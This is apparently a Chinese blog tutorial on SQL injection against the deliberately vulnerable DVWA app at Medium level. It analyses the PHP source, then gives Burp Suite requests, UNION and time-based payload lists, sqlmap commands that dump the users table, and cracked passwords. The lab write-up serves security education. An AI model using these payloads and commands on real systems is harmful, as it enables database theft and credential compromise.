SQL 注入实战:DVWA Medium完整测试指南

文章目录

    • [1. 环境准备](#1. 环境准备)
      • [1.1 获取 Session Cookie](#1.1 获取 Session Cookie)
    • [2. Medium 安全级别源码分析](#2. Medium 安全级别源码分析)
      • [2.1 源码](#2.1 源码)
      • [2.2 Low vs Medium 关键变化](#2.2 Low vs Medium 关键变化)
      • [2.3 防护机制分析:`mysqli_real_escape_string()`](#2.3 防护机制分析:mysqli_real_escape_string())
      • [2.4 漏洞分析:为什么 Medium 仍然可被注入?](#2.4 漏洞分析:为什么 Medium 仍然可被注入?)
    • [3. Burp Suite 自动化注入测试](#3. Burp Suite 自动化注入测试)
      • [3.1 环境准备](#3.1 环境准备)
        • [3.1.1 启动 Burp Suite](#3.1.1 启动 Burp Suite)
        • [3.1.2 配置浏览器代理](#3.1.2 配置浏览器代理)
        • [3.1.3 登录 DVWA](#3.1.3 登录 DVWA)
      • [3.2 拦截并修改请求](#3.2 拦截并修改请求)
        • [3.2.1 启动拦截](#3.2.1 启动拦截)
        • [3.2.2 查看拦截的请求](#3.2.2 查看拦截的请求)
        • [3.2.3 第一次修改:判断注入点](#3.2.3 第一次修改:判断注入点)
      • [3.3 使用 Repeater 进行快速测试](#3.3 使用 Repeater 进行快速测试)
        • [3.3.1 发送请求到 Repeater](#3.3.1 发送请求到 Repeater)
        • [3.3.2 确定字段数](#3.3.2 确定字段数)
        • [3.3.3 联合查询测试](#3.3.3 联合查询测试)
      • [3.4 使用 Intruder 进行自动化批量测试](#3.4 使用 Intruder 进行自动化批量测试)
        • [3.4.1 发送请求到 Intruder](#3.4.1 发送请求到 Intruder)
        • [3.4.2 配置 Payload 位置](#3.4.2 配置 Payload 位置)
        • [3.4.3 选择攻击类型](#3.4.3 选择攻击类型)
        • [3.4.4 配置 Payload 列表](#3.4.4 配置 Payload 列表)
        • [3.4.5 配置 Grep 匹配(可选)](#3.4.5 配置 Grep 匹配(可选))
        • [3.4.6 启动攻击](#3.4.6 启动攻击)
        • [3.4.7 分析攻击结果](#3.4.7 分析攻击结果)
        • [3.4.8 查看具体响应](#3.4.8 查看具体响应)
      • [3.5 获取数据库信息](#3.5 获取数据库信息)
        • [3.5.1 获取数据库名](#3.5.1 获取数据库名)
        • [3.5.2 获取数据库版本](#3.5.2 获取数据库版本)
        • [3.5.3 获取数据库用户](#3.5.3 获取数据库用户)
        • [3.5.4 获取表名(处理字符集冲突)](#3.5.4 获取表名(处理字符集冲突))
        • [3.5.5 获取列名](#3.5.5 获取列名)
        • [3.5.6 获取用户数据](#3.5.6 获取用户数据)
        • [3.5.7 密码破解(MD5)](#3.5.7 密码破解(MD5))
      • [3.6 Burp Suite 注入测试总结](#3.6 Burp Suite 注入测试总结)
        • [3.6.1 使用到的 Burp 模块](#3.6.1 使用到的 Burp 模块)
        • [3.6.2 关键快捷键](#3.6.2 关键快捷键)
        • [3.6.3 Burp 测试 vs 手工测试](#3.6.3 Burp 测试 vs 手工测试)
    • [4. Sqlmap 自动化注入](#4. Sqlmap 自动化注入)
      • [4.1 Medium 级别的 Sqlmap 命令变化](#4.1 Medium 级别的 Sqlmap 命令变化)
      • [4.2 步骤 1:枚举所有数据库](#4.2 步骤 1:枚举所有数据库)
      • [4.3 步骤 2:枚举表名](#4.3 步骤 2:枚举表名)
      • [4.4 步骤 3:获取列名](#4.4 步骤 3:获取列名)
      • [4.5 步骤 4:导出数据并破解密码](#4.5 步骤 4:导出数据并破解密码)
      • [4.6 Medium 注入点详情](#4.6 Medium 注入点详情)
      • [4.7 sqlmap 命令汇总](#4.7 sqlmap 命令汇总)

1. 环境准备

  1. F12 打开开发者工具
  2. 点击 Network(网络) / Application(应用) 标签
  3. 找到 Cookie 信息

示例 Cookie:

复制代码
PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium

注意 :与 Low 级别不同,Cookie 中的 security=medium


2. Medium 安全级别源码分析

在开始注入之前,先查看 Medium 级别的 PHP 源码,分析防护机制和漏洞点。

2.1 源码

php 复制代码
<?php

if (isset($_POST['id'])) {
    $id = $_POST['id'];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');

    while ($row = mysqli_fetch_assoc($result)) {
        echo "<pre>ID: {$id}<br />First name: {$row['first_name']}<br />Surname: {$row['last_name']}</pre>";
    }
}

?>

2.2 Low vs Medium 关键变化

特性 Low Medium
请求方法 GET($_GET['id'] POST($_POST['id']
输入过滤 无任何过滤 mysqli_real_escape_string()
输入交互 文本框 下拉菜单(Select)
SQL 查询 WHERE user_id = '$id' WHERE user_id = $id

2.3 防护机制分析:mysqli_real_escape_string()

mysqli_real_escape_string() 是 MySQL 提供的转义函数,它会转义以下特殊字符:

字符 转义后
\ \\
' \'
" \"
\0 \\0(NULL)
\n \\n(换行)
\r \\r(回车)

2.4 漏洞分析:为什么 Medium 仍然可被注入?

关键发现 :虽然 Medium 使用 mysqli_real_escape_string() 转义了输入,但存在以下可绕过的问题:

  1. user_id 没有用引号包裹(数字型注入)

    sql 复制代码
    -- Medium 的 SQL 语句
    SELECT first_name, last_name FROM users WHERE user_id = $id;
                                                             ↑ 没有引号!
    -- Low 的 SQL 语句(有引号)
    SELECT first_name, last_name FROM users WHERE user_id = '$id';
  2. mysqli_real_escape_string() 只转义字符串中的引号,对数字型注入无效

    • 转义函数主要防止字符串中的单引号闭合
    • 在数字型上下文中,注入语句不需要引号,转义无效
  3. 下拉菜单可被绕过

    • 虽然页面将输入方式从文本框改为下拉菜单
    • 但攻击者可以直接构造 POST 请求,绕过前端限制

结论:Medium 的防护对数字型 SQL 注入完全不生效。


3. Burp Suite 自动化注入测试

由于 Medium 使用 POST 方法传参,手工注入需要逐个构造请求,效率低下。本文使用 Burp Suite Professional 进行自动化注入测试,效率提升 10 倍以上。

3.1 环境准备

3.1.1 启动 Burp Suite
powershell 复制代码
Start-Process "C:\Users\Administrator\AppData\Local\Programs\BurpSuitePro\BurpSuitePro.exe"
3.1.2 配置浏览器代理
  1. 打开浏览器(推荐 Chrome 或 Firefox)
  2. 安装 FoxyProxy 或手动配置代理:
    • 代理地址:127.0.0.1
    • 代理端口:8080
  3. 访问 http://burp 测试代理是否生效(应显示 Burp 欢迎页面)
3.1.3 登录 DVWA
  1. 浏览器访问:http://192.168.0.107/DVWA/
  2. 输入账号密码:
    • 用户名:admin
    • 密码:admin
  3. 点击左侧菜单 SQL Injection

3.2 拦截并修改请求

3.2.1 启动拦截
  1. 在 Burp Suite 中,点击顶部 Proxy 标签
  2. 确保 Intercept is on 按钮已开启(红色)
  3. 刷新 DVWA 的 SQL Injection 页面
  4. Burp 会拦截到 POST 请求
3.2.2 查看拦截的请求

拦截到的原始请求如下:

http 复制代码
POST /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: PHPSESSID=xxx; security=medium

id=1&Submit=Submit

关键字段说明:

字段 说明
POST 请求方法(Medium 使用 POST)
/DVWA/vulnerabilities/sqli/ SQL 注入模块路径
id=1 注入点参数
Cookie 包含会话 ID 和安全级别
3.2.3 第一次修改:判断注入点

id=1 修改为 id=1 or 1=1

http 复制代码
POST /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: PHPSESSID=xxx; security=medium

id=1 or 1=1&Submit=Submit

点击 Forward 按钮发送请求。

查看响应:

  1. 点击 Proxy → HTTP history
  2. 找到刚才的请求
  3. 在右侧 Response 标签查看返回内容

预期结果:

html 复制代码
<pre>
ID: 1 or 1=1
First name: admin
Surname: admin</pre
>

<pre>
ID: 1 or 1=1
First name: Gordon
Surname: Brown</pre
>

<pre>
ID: 1 or 1=1
First name: Hack
Surname: Me</pre
>

<pre>
ID: 1 or 1=1
First name: Pablo
Surname: Picasso</pre
>

<pre>
ID: 1 or 1=1
First name: Bob
Surname: Smith</pre
>

结论: 返回了 5 条用户记录,说明存在 SQL 注入漏洞。

3.3 使用 Repeater 进行快速测试

3.3.1 发送请求到 Repeater
  1. 在拦截的请求上右键 → Send to Repeater (或按 Ctrl+R
  2. 点击顶部 Repeater 标签
3.3.2 确定字段数

在 Repeater 的请求面板中修改 id 参数:

测试 1:

http 复制代码
id=1 order by 3#&Submit=Submit

点击 Send 按钮,查看响应:

html 复制代码
<p>You have an error in your SQL syntax; ... near '3#' at line 1</p>

测试 2:

http 复制代码
id=1 order by 2#&Submit=Submit

点击 Send 按钮,查看响应:

html 复制代码
<pre>
ID: 1 order by 2#
First name: admin
Surname: admin</pre
>

结论: 查询语句包含 2 个字段order by 3 报错,order by 2 正常)

3.3.3 联合查询测试

测试语句:

http 复制代码
id=-1 union select 1,2&Submit=Submit

响应结果:

html 复制代码
<pre>
ID: -1 union select 1,2
First name: 1
Surname: 2</pre
>

结论: 该注入点支持 UNION 查询,且有 2 列可用于数据提取。

3.4 使用 Intruder 进行自动化批量测试

3.4.1 发送请求到 Intruder
  1. 在 Repeater 中右键请求 → Send to Intruder (或按 Ctrl+I
  2. 点击顶部 Intruder 标签
3.4.2 配置 Payload 位置
  1. 点击 Positions 子标签

  2. Burp 会自动用 § 标记所有参数:

    复制代码
    id=§1§&Submit=§Submit§
  3. 点击 Clear § 清除所有标记

  4. 手动标记 id 参数的值:

    复制代码
    id=§1§&Submit=Submit
3.4.3 选择攻击类型

Attack type 下拉框中选择:

  • Sniper(推荐):单个 payload 逐个测试,适合快速检测注入点
3.4.4 配置 Payload 列表
  1. 点击 Payloads 子标签

  2. Payload Options 区域添加以下 SQL 注入测试 payload:

    1 or 1=1
    1 order by 1#
    1 order by 2#
    1 order by 3#
    1 order by 4#
    -1 union select 1,2
    -1 union select 1,database()
    -1 union select 1,@@version
    -1 union select 1,user()
    1 and sleep(5)
    1 and 1=1
    1 and 1=2

快速添加方法:

  1. 点击 Load... 按钮
  2. 选择文件:D:\Programs\burp_sqlmap_payloads.txt
  3. 所有 payload 会自动加载
3.4.5 配置 Grep 匹配(可选)
  1. 点击 Settings 子标签
  2. 展开 Grep - Match
  3. 勾选或添加以下关键词:
    • You have an error in your SQL syntax
    • Unknown column
    • First name:
    • Surname:

这样 Burp 会自动统计每个响应中包含这些关键词的次数。

3.4.6 启动攻击

点击右上角 Start attack 按钮。

3.4.7 分析攻击结果

Burp 会打开一个新窗口显示攻击结果:

# Payload Status Length Time Grep-Match
0 1 200 5170 12ms 2
1 1 or 1=1 200 5438 15ms 10
2 1 order by 1# 200 5182 13ms 2
3 1 order by 2# 200 5182 14ms 2
4 1 order by 3# 200 437 11ms 0
5 1 order by 4# 200 436 10ms 0
6 -1 union select 1,2 200 5179 16ms 2
7 -1 union select 1,database() 200 5191 18ms 2
8 -1 union select 1,@@version 200 5192 17ms 2
9 -1 union select 1,user() 200 5197 19ms 2
10 1 and sleep(5) 200 5110 5012ms 2
11 1 and 1=1 200 5177 14ms 2
12 1 and 1=2 200 5110 13ms 0

结果分析技巧:

  1. 按 Length 排序:点击 Length 列标题

    • 长度明显变长(5438)→ 注入成功,返回更多数据
    • 长度骤减(436-437)→ SQL 报错
  2. 按 Time 排序:点击 Time 列标题

    • 响应时间明显增加(>5000ms)→ 时间盲注成功
  3. 按 Grep-Match 排序

    • 匹配数为 0 → 可能报错
    • 匹配数异常 → 可能注入成功
3.4.8 查看具体响应
  1. 点击任意一行(如 1 or 1=1
  2. 在右侧 Response 标签查看完整响应
  3. 切换到 Render 标签查看渲染后的页面

3.5 获取数据库信息

3.5.1 获取数据库名

在 Repeater 中测试:

http 复制代码
id=-1 union select 1,database()&Submit=Submit

响应结果:

html 复制代码
<pre>
ID: -1 union select 1,database()
First name: 1
Surname: dvwa</pre
>

结论: 数据库名为 dvwa

3.5.2 获取数据库版本
http 复制代码
id=-1 union select 1,@@version&Submit=Submit

响应结果:

html 复制代码
Surname: 5.7.26
3.5.3 获取数据库用户
http 复制代码
id=-1 union select 1,user()&Submit=Submit

响应结果:

html 复制代码
Surname: dvwa@localhost

信息汇总:

信息 结果
数据库名 dvwa
MySQL 版本 5.7.26
当前用户 dvwa@localhost
3.5.4 获取表名(处理字符集冲突)

直接查询会报错:

http 复制代码
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

错误信息:

复制代码
Illegal mix of collations for operation 'UNION'

解决方案:使用 HEX 编码

http 复制代码
id=-1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()&Submit=Submit

响应结果:

html 复制代码
Surname: 7573657273

十六进制解码:

复制代码
75 73 65 72 73 → users

结论: dvwa 数据库有 1 个表:users

3.5.5 获取列名
http 复制代码
id=-1 union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273&Submit=Submit

响应结果(十六进制):

复制代码
757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E

解码结果:

复制代码
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

users 表结构:

列名 含义
user_id 用户 ID
first_name
last_name
user 用户名
password 密码(MD5)
avatar 头像
last_login 最后登录
failed_login 失败登录次数
3.5.6 获取用户数据
http 复制代码
id=-1 union select 1,hex(group_concat(user,0x3a,password)) from users&Submit=Submit

响应结果(十六进制):

复制代码
61646D696E3A3231323332663239376135376135613734333839346130653461383031666333,
676F72646F6E623A6539396131386334323863623338643566323630383533363738393232653033,
3133373A3864333533336437356165326333393636643765306434666363363932313662,
7061626C6F3A3064313037643039663562626534306361646533646535633731653965396237,
736D697468793A3566346463633362356161373635643631643833323764656238383263663939

解码结果:

复制代码
admin:21232f297a57a5a743894a0e4a801fc3
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
3.5.7 密码破解(MD5)

使用在线 MD5 解密工具或本地字典破解:

用户名 MD5 哈希 明文密码
admin 21232f297a57a5a743894a0e4a801fc3 admin
gordonb e99a18c428cb38d5f260853678922e03 abc123
1337 8d3533d75ae2c3966d7e0d4fcc69216b charley
pablo 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
smithy 5f4dcc3b5aa765d61d8327deb882cf99 password

3.6 Burp Suite 注入测试总结

3.6.1 使用到的 Burp 模块
模块 用途 使用频率
Proxy 拦截和修改请求 ⭐⭐⭐⭐⭐
Repeater 手动重放和测试单个 payload ⭐⭐⭐⭐
Intruder 批量自动化测试 ⭐⭐⭐⭐⭐
HTTP history 查看历史请求和响应 ⭐⭐⭐⭐
Target 查看站点地图 ⭐⭐⭐
3.6.2 关键快捷键
快捷键 功能
Ctrl+R 发送请求到 Repeater
Ctrl+I 发送请求到 Intruder
Ctrl+Enter 在 Repeater 中发送请求
Ctrl+U 对 URL 进行 URL 解码
3.6.3 Burp 测试 vs 手工测试
对比项 手工测试(JavaScript) Burp Suite 测试
配置复杂度 中(需要写脚本) 低(图形界面)
测试效率 低(逐个测试) 高(批量自动化)
结果分析 困难(需要手动查看) 简单(自动排序和过滤)
可重复性 差(每次重新写脚本) 好(保存配置和 payload)
学习曲线 陡峭 平缓
推荐度 ⭐⭐ ⭐⭐⭐⭐⭐

4. Sqlmap 自动化注入

4.1 Medium 级别的 Sqlmap 命令变化

与 Low 级别不同,Medium 使用 POST 方法,需要用 --data 参数代替 URL 参数:

powershell 复制代码
# Low 命令(GET 方式)
sqlmap -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..."

# Medium 命令(POST 方式)
sqlmap -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="..."

4.2 步骤 1:枚举所有数据库

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" --dbs --batch

参数详解:

参数 说明
-u 目标 URL(不含参数)
--data POST 请求体的参数
--cookie 认证 Cookie,security=medium
--dbs 枚举所有数据库
--batch 对所有问题自动选择默认答案

执行结果:

复制代码
[21:04:04] [INFO] testing connection to the target URL
[21:04:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:04:04] [INFO] testing if the target URL content is stable
[21:04:04] [INFO] target URL content is stable
[21:04:04] [INFO] testing if POST parameter 'id' is dynamic

[21:04:04] [WARNING] POST parameter 'id' does not appear to be dynamic
[21:04:04] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable
                 (possible DBMS: 'MySQL')

[21:04:05] [INFO] POST parameter 'id' appears to be
                 'Boolean-based blind - Parameter replace (original value)' injectable
[21:04:05] [INFO] POST parameter 'id' is
                 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[21:04:16] [INFO] POST parameter 'id' appears to be
                 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[21:04:16] [INFO] target URL appears to have 2 columns in query
[21:04:16] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

web server operating system: Windows
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.1

available databases [2]:
[*] dvwa
[*] information_schema

4.3 步骤 2:枚举表名

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" -D dvwa --tables --batch

执行结果:

复制代码
Database: dvwa
[1 table]
+-------+
| users |
+-------+

4.4 步骤 3:获取列名

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" -D dvwa -T users --columns --batch

执行结果:

复制代码
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user_id      | int(6)      |
| first_name   | varchar(15) |
| last_name    | varchar(15) |
| user         | varchar(15) |
| password     | varchar(32) |
| avatar       | varchar(70) |
| last_login   | timestamp   |
| failed_login | int(3)      |
+--------------+-------------+

4.5 步骤 4:导出数据并破解密码

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" -D dvwa -T users --dump --batch

执行结果:

复制代码
[21:05:04] [INFO] recognized possible password hashes in column 'password'
[21:05:04] [INFO] using hash method 'md5_generic_passwd'
[21:05:16] [INFO] cracked password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[21:05:19] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[21:05:23] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[21:05:32] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[21:05:35] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'

破解结果汇总:

用户名 MD5 哈希 明文密码
admin 21232f297a57a5a743894a0e4a801fc3 admin
gordonb e99a18c428cb38d5f260853678922e03 abc123
1337 8d3533d75ae2c3966d7e0d4fcc69216b charley
pablo 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
smithy 5f4dcc3b5aa765d61d8327deb882cf99 password

4.6 Medium 注入点详情

Sqlmap 在 Medium 级别发现了 4 种注入技术

编号 注入类型 技术名称 原理
1 Boolean-based blind 布尔盲注 - 参数替换 通过替换原始参数值,根据页面返回差异判断
2 Error-based 错误注入 - EXTRACTVALUE 利用 MySQL EXTRACTVALUE 函数错误回显数据
3 Time-based blind 时间盲注 - SLEEP 利用 SLEEP 函数造成延迟,判断注入结果
4 UNION query 联合查询 - 2列 使用 UNION SELECT 直接获取数据

Payload 示例:

复制代码
# Boolean-based blind
Payload: id=(SELECT (CASE WHEN (2412=2412) THEN 1 ELSE (SELECT 4928 UNION SELECT 3989) END))

# Error-based
Payload: id=1 AND EXTRACTVALUE(1063,CONCAT(0x5c,0x71716b6b71,(SELECT (ELT(1063=1063,1))),0x71716a6b71))

# Time-based blind
Payload: id=1 AND (SELECT 2496 FROM (SELECT(SLEEP(5)))ePiS)

# UNION query
Payload: id=1 UNION ALL SELECT CONCAT(0x71716b6b71,...),NULL-- -

4.7 sqlmap 命令汇总

命令 作用
--data="id=1&Submit=Submit" 发送 POST 请求体
--cookie="PHPSESSID=...; security=medium" 认证和级别配置
--dbs 枚举所有数据库
-D dvwa --tables 枚举指定数据库的表
-D dvwa -T users --columns 枚举指定表的列
-D dvwa -T users --dump 导出数据并自动破解密码
--batch 自动确认,非交互模式

免责声明:本文内容仅用于安全教育和授权渗透测试,请勿将所学技术用于非法用途。

相关推荐
持敬chijing5 小时前
Web渗透之SQL注入-二次注入(Second-Order SQL Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
laoli_coding6 小时前
数据机密性保护算法汇总(国际算法)
安全·网络安全·密码学
X7x58 小时前
零信任架构:重塑数字时代安全边界的战略转型
网络安全·网络攻击模型·安全威胁分析·安全架构·零信任架构
锐速网络9 小时前
CDN加速服务怎么选?主流CDN加速平台横向对比(2026实战版)
网络安全·网络加速·高防cdn·cdn选型·cdn对比·企业级cdn
超级无敌zhq11 小时前
内网横向移动实战:从单点攻破到域控沦陷
网络·安全·web安全·网络安全
lcreek11 小时前
SQL 注入实战:DVWA LOW完整测试指南
网络安全·sql注入
Whoami!12 小时前
05-【园区】SDN+VXLAN 私有云安全防护架构
网络安全·架构·sdn·拓扑图
酉鬼女又兒14 小时前
零基础入门虚拟局域网VLAN:从广播域问题根源到802.1q帧格式、三大端口类型及实战例题全解析
网络·网络协议·计算机网络·网络安全·职场和发展·智能路由器·求职招聘
pencek14 小时前
HakcMyVM-driftingblues3
网络安全